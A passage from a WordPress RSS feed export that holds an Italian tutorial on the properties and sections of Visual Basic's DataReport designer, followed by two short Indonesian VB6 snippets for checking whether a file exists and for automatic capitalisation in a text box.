<p>C&#8217;è subito da dire una cosa, con DataReport non potete fare come volete, è lui che comanda, quindi mettetevi comodi e cercate un modo per &#8220;fregarlo&#8221;. Questo strumento non fa altro che visualizzare, nella maniera che voi vorrete e disegnerete, ciò che il vostro db contiene, quindi molto spesso, direi sempre vi ritroverete a passare una query al DataReport e a fare in modo che esso la stampi in un modo carino.</p>
<p><em>Primo passo, capire la struttura.</em></p>
<p>Il DataReport è diviso in cinque sezioni (section):</p>
<ul>
<li><em>Section 4 Report Header</em> &#8211; è la parte che contiene il testo che verrà stampato una sola volta all&#8217;inizio del report. Immaginando che il nostro report abbia più di una pagina, tutto ciò che verrà scritto o incollato come immagine, in questa sezione, verrà stampato in testa una sola volta.</li>
<li><em>Section 2 Page Header &#8211; </em>come per la sezione precedente, in questa  parte si dovranno inserire le immagini o il testo che si vuole venga stampato in testa a tutte le pagine.<em></em></li>
<li><em>Section 1 Detail </em>- sicuramente la parte che tutti aspettano, questo è il corpo della pagina e deve contenere i campi testo, che verranno poi associati ai record del db.</li>
<li><em>Section 3 Page Footer &#8211; </em>è l&#8217;equivalente della Page Header, solo che la stampa avverrà a fondo pagina.</li>
<li><em>Section 5 Report Footer &#8211; </em>è l&#8217;equivalente della Report Header solo alla fine del report. Da non confondere con la fine della pagina. Se ipoteticamente il nostro report possedesse 3 pagine, allora questa sezione sarebbe stampata in fondo alla terza pagina.</li>
</ul>
<p>Molto comodi e molto importanti sono i righelli sia orizzontali che verticali, che in VB ci aiutano a rimanere entro i margini del foglio. Vi anticipo fin da adesso, che Data Report, non è un Word Processor, quindi non sarete guidati, come dai classici programmi Microsoft, nell&#8217;impostazione dei margini e delle grandezze del foglio. Qui la struttura la create voi, quindi tenetevi sempre un pò più stretti, perchè influisce moltissimo, il tipo di stampante, e quindi i driver di stampa che avete, sull&#8217;area stampabile.</p>
<p><em>Secondo passo le proprietà</em></p>
<p>Come tutti gli oggetti in VB, anche DataReport possiede delle proprietà. A loro volta le sezioni hanno delle proprieta personali, per così dire. Cominciamo, analizzando quelle generali del DataReport:</p></blockquote>
<ul>
<li><em>Name &#8211; </em>Come sempre la prima, questo è il nome che vorrete attribuire al vostro DataReport, logicamente Vb ne attribuirà uno di default, che se vorrete potrete usare. Ricordatevi che è sempre meglio dare agli oggetti dei nomi che ci ricordino che ruolo gli facciamo giocare nel nostro progetto.</li>
<li><em>BorderStyle &#8211; </em>questa proprietà riguarda la finestra che si aprirà quando visualizzeremo l&#8217;anteprima di stampa del DataReport, ci sono diverse opzioni esattamente 6: [ 0 - VbBSNone] questa opzione toglierà il bordo alla finestra, di conseguenza non avrete più i tre tasti di Windows per chiudere, ridurre a icona, o estendere a schermo intero, la finestra; [1-vbFixedSingle]  visualizza il bordo, ma toglie i due pulsanti riduci a icona e ingrandisci. In più non permette di trascinare la finestra; [2-vbSizable] finestra normale di Windows, trascinabile e con tutti e tre i pulsanti attivi; [3-vbFixedDouble] la finestra è visualizzata normalmente senza i pulsanti riduci a icona e ingrandisci, ma è trascinabile;[4- vb Fixed ToolWindows] visulizza una classica finestra con bordo ridotto e con il solo pulsante chiudi, anchesso ridotto, non ridimensionabile;[5 - vbSizable ToolWindows] come prima ma ridimensionabile.</li>
<li><em>BottomMargin &#8211; </em>Margine inferiore del report espresso in twip.</li>
<li><em>Caption &#8211; </em>Testo da scrivere nella finestra di report.</li>
<li><em>ControlBox -</em> stabilisce se in fase di esecuzione si debba visualizzare il Control Menu Box. Vale a dire i pulsanti chiudi, riduci a icona, ingrandisci e l&#8217;icona della finestra.</li>
<li><em>Data Member &#8211; </em>setta o restituisce il data Member. lo so è una spiegazione alla Microsoft, ma nella seconda parte verrà spiegato chiaramente a cosa serve questa propiretà.</li>
<li><em>Data Source -</em>setta o restituisce il Data Source. Come sopra.</li>
<li><em>Enabled &#8211; </em>come per tutti gli oggetti VB stabilisce se in fase di esecuzione l&#8217;oggetto in questione sia attivato o meno. In questo caso settando a false la proprietà, non si potrà interagire con la finestra.</li>
<li><em>Font &#8211; </em>Stabilisce il Font di defaul del report.</li>
<li><em>GridX GridY &#8211; </em>stabiliscono le divisioni della griglia. Vi suggerisco di settarle al massimo cioè 10, anche perchè altrimenti è impossibile spostare gli oggetti in maniera &#8220;umana&#8221;.</li>
<li><em>Height &#8211; </em>altezza del report.</li>
<li><em>Icon &#8211; </em>setta l&#8217;icona della finestra report.</li>
<li><em>LeftMargin &#8211; </em>margine sinistro del report.</li>
<li><em>MaxButton &#8211; </em>ingrandisci si o ingrandisci no. Avete capito?</li>
<li><em>MDIChild -</em> Stabilisce se il form verrà visualizzato come un MDI.</li>
<li><em>MinButton &#8211; </em>riduci a icona si o no. E questo lo avete capito?</li>
<li><em>MouseIcon &#8211; </em>Volete un puntatore particolare quando il vostro mouse attraverso il report, allora dovere inserire la sua icona qui.</li>
<li><em>MousePointer &#8211; </em>Ma non basta, se volete poi visualizzare l&#8217;icona scelta nella proprietà precedente, dovete settare questa proprietà su Icon, altrimente scegliete le altre che offre VB.</li>
<li><em>Palette &#8211; </em>Se volete cambiare i colori di defolt che usa VB per il report, dovete inserire qui l&#8217;immagine Palette, che contiene l&#8217;elenco dei colori.</li>
<li><em>PaletteMode &#8211; </em>Stabilite quale Palette dovrà usare VB per questo oggetto (il Report), se ne avete indicata una personalizzata, settate questa proprietà su Custom.</li>
<li><em>ReportWidth &#8211; </em>Larghezza report.</li>
<li><em>RightMargin &#8211; </em>Margine destro.</li>
<li><em>ShowInTaskbar &#8211; </em>Se non volete che questa finestra quando aperta sia mostrata nella barra di Windows, settate False.</li>
<li><em>StartUpPosition &#8211; </em>Dove volete che all&#8217;apertura sia visualizzata questa finestra. Ovvero in quale posizione dello schermo? Questa proprietà vi aiuta. Se la posizione l&#8217;avete stabilità con la finestra layout, lasciate Manual.</li>
<li><em>Tag, Title -</em> Proprietà usate nel caso di iterazioni in ambienti internettiani.</li>
<li><em>TopMargin &#8211; </em>Margine superiore del report.</li>
<li><em>Visible &#8211; </em>Proprietà mitica di VB, volete o no visualizzare la finestra.</li>
<li><em>Width &#8211; </em>Larghezza finestra report.</li>
<li><em>WindowState &#8211; </em>all&#8217;apertura la finestra dovrà essere a tutto schermo, normale o ridotta, scegliete con questa opzione.</li>
</ul>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Memeriksa Keberadaan Sebuah File]]></title>
<link>http://gustysoft.wordpress.com/2008/11/27/memeriksa-keberadaan-sebuah-file/</link>
<pubDate>Thu, 27 Nov 2008 16:40:12 +0000</pubDate>
<dc:creator>Gusty</dc:creator>
<guid>http://gustysoft.wordpress.com/2008/11/27/memeriksa-keberadaan-sebuah-file/</guid>
<description><![CDATA[Copy paste code program di bawah ini, kemudian coba jalankan. Jika file yang dimaksut ditemukan maka]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p class="MsoNormal" style="margin:0;"><span style="font-size:small;font-family:Times New Roman;">Copy paste code program di bawah ini, kemudian coba jalankan. Jika file yang dimaksut ditemukan maka pesan yang akan ditampilkan adalah bernilai &#8220;True&#8221;, jika file yang dimaksud tidak ditemukan maka pesan yang akan di tampilakn bernilai False.</span></p>
<p class="MsoNormal" style="margin:0;"> </p>
<p class="MsoNormal" style="margin:0;"><span style="font-size:small;font-family:Times New Roman;">Function FileExists(strPath As String) As Boolean</span></p>
<p class="MsoNormal" style="text-indent:.5in;margin:0;"><span style="font-size:small;font-family:Times New Roman;">Dim lngRetVal As Long</span></p>
<p class="MsoNormal" style="text-indent:.5in;margin:0;"><span style="font-size:small;font-family:Times New Roman;">On Error Resume Next</span></p>
<p class="MsoNormal" style="text-indent:.5in;margin:0;"><span style="font-size:small;font-family:Times New Roman;">lngRetVal = Len(Dir$(strPath, vbReadOnly Or _</span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-size:small;"><span style="font-family:Times New Roman;"><span>                     </span>vbSystem Or _</span></span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-size:small;"><span style="font-family:Times New Roman;"><span>                     </span>vbHidden Or _</span></span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-size:small;"><span style="font-family:Times New Roman;"><span>                     </span>vbArchive Or _</span></span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-size:small;"><span style="font-family:Times New Roman;"><span>                     </span>vbNormal))</span></span></p>
<p class="MsoNormal" style="margin:0;"><span><span style="font-size:small;font-family:Times New Roman;">                     </span></span></p>
<p class="MsoNormal" style="margin:0 0 0 .5in;"><span style="font-size:small;font-family:Times New Roman;">If Err Or lngRetVal = 0 Then</span></p>
<p class="MsoNormal" style="text-indent:.5in;margin:0 0 0 .5in;"><span style="font-size:small;font-family:Times New Roman;">FileExists = False</span></p>
<p class="MsoNormal" style="margin:0 0 0 .5in;"><span style="font-size:small;font-family:Times New Roman;">Else</span></p>
<p class="MsoNormal" style="text-indent:.5in;margin:0 0 0 .5in;"><span style="font-size:small;font-family:Times New Roman;">FileExists = True</span></p>
<p class="MsoNormal" style="margin:0 0 0 .5in;"><span style="font-size:small;font-family:Times New Roman;">End If</span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-size:small;font-family:Times New Roman;">End Function</span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-size:small;font-family:Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-size:small;font-family:Times New Roman;">Private Sub Form_Load()</span></p>
<p class="MsoNormal" style="text-indent:.5in;margin:0;"><span style="font-size:small;font-family:Times New Roman;">MsgBox FileExists(&#8220;C:\boot.ini&#8221;)</span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-size:small;font-family:Times New Roman;">End Sub</span></p>
<p class="MsoNormal" style="margin:0;"> </p>
<p class="MsoNormal" style="margin:0;"> </p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Auto Smart Case]]></title>
<link>http://gustysoft.wordpress.com/2008/11/27/auto-smart-case/</link>
<pubDate>Thu, 27 Nov 2008 16:34:18 +0000</pubDate>
<dc:creator>Gusty</dc:creator>
<guid>http://gustysoft.wordpress.com/2008/11/27/auto-smart-case/</guid>
<description><![CDATA[Prosedur di gunakan untuk mengubah huruf kecil menjadi huruf besar secara otomatis sesuai dengan atu]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p class="MsoNormal" style="margin:0;"><span style="font-size:8pt;font-family:&#34;">Prosedur di gunakan untuk mengubah huruf kecil menjadi huruf besar secara otomatis sesuai dengan aturan penulisan. contohnya huruf kecil di awal kata, huruf kecil setelah spasi/titik.<br />
<br /></span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-size:8pt;font-family:&#34;">Sub goSmartCase(TextBoxName As Control, KeyAscii As Integer)<br />
On Error Resume Next<br />
    If Mid(TextBoxName.Text, TextBoxName.SelStart, 1) = &#8221; &#8221; Or _<br />
       Mid(TextBoxName.Text, TextBoxName.SelStart,1) = &#8220;.&#8221; _<br />
       Or Mid(TextBoxName.Text, TextBoxName.SelStart, 1) = &#8220;&#8221; Or _<br />
       Mid(TextBoxName.Text,TextBoxName.SelStart, 1) = &#8220;(&#8221; _<br />
       Or Mid(TextBoxName.Text, TextBoxName.SelStart, 1) = &#8220;{&#8221; Or _<br />
       Mid(TextBoxName.Text,TextBoxName.SelStart, 1) = &#8220;[&#8221; _<br />
       Or Mid(TextBoxName.Text, TextBoxName.SelStart, 1) = &#8220;/&#8221; Then<br />
        KeyAscii = Asc(UCase(Chr(KeyAscii)))<br />
    Else<br />
        KeyAscii = Asc(LCase(Chr(KeyAscii)))<br />
    End If<br />
End Sub</p>
<p>Rem// HOW TO USE<br />
Private Sub Text1_KeyPress(KeyAscii As Integer)<br />
    goSmartCase Text1, KeyAscii<br />
End Sub</span></p>
</div>]]></content:encoded>
</item>

</channel>
</rss>
